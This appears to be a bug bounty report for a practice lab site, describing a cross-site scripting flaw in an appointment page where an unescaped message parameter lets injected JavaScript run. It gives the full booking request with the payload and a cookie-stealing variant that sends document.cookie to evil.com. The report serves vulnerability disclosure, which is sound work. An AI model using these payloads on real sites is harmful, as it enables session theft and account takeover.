BugBountyHunter

Hey!

The HTML source on a successful request to manageappointment.php contains the following code:

<script>
    var msg = ':msg';
    $(document).ready(function () {
        document.getElementById("message").value = msg;
    });
</script>

The message parameter of the appointment is reflected in the msg variable. Because single quotes aren't being encoded, an attacker can escape the string context and inject arbitrary JavaScript.

To exploit this you first need to book an appointment with the XSS payload as the message parameter:

POST /api/ba.php HTTP/1.1
Host: b6a5124dc2a4-0x1452.a.firstbloodhackers.com
Cookie: doctorAuthed=eyJkb2N0b3JBdXRoIjphdXRoZWR9; drps=10f43143cf094d9363fc08ee7
Content-Length: 165
Sec-Ch-Ua: "Google Chrome";v="95", "Chromium";v="95", ";Not A Brand";v="99"
Csrf: 99215d4e-0ff3-4275
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://b6a5124dc2a4-0x1452.a.firstbloodhackers.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://b6a5124dc2a4-0x1452.a.firstbloodhackers.com/book-appointment.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

fname=yo&lname=yo&address=yo&city=yo&phonenumber=yo&email=yo&dob=yo&a1=yo&a2=yo&a3=yo&message=';+alert(document.domain);//&slot=1

The response will contain the ID of the appointment, which we'll need for the next step, e.g. success|a53dafc5-4fbc-497c-b5d7-a0f35371e9b7.

Navigate to /manageappointment.php?success&aptid=a53dafc5-4fbc-497c-b5d7-a0f35371e9b7 to trigger the XSS. The payload ';+alert(document.domain);// gets reflected without sanitization resulting in the following code:

<script>
    var msg = ''; alert(document.domain);//';
    $(document).ready(function () {
        document.getElementById("message").value = msg;
    });
</script>

To steal the victim's session cookie, simply use the XSS to fetch an attacker-controlled site and append document.cookie. Example: ';+fetch('//evil.com?c='%2bdocument.cookie);// as a message parameter.

Impact

An attacker can book a malicious appointment and use it to steal victim's session cookies and take over their account.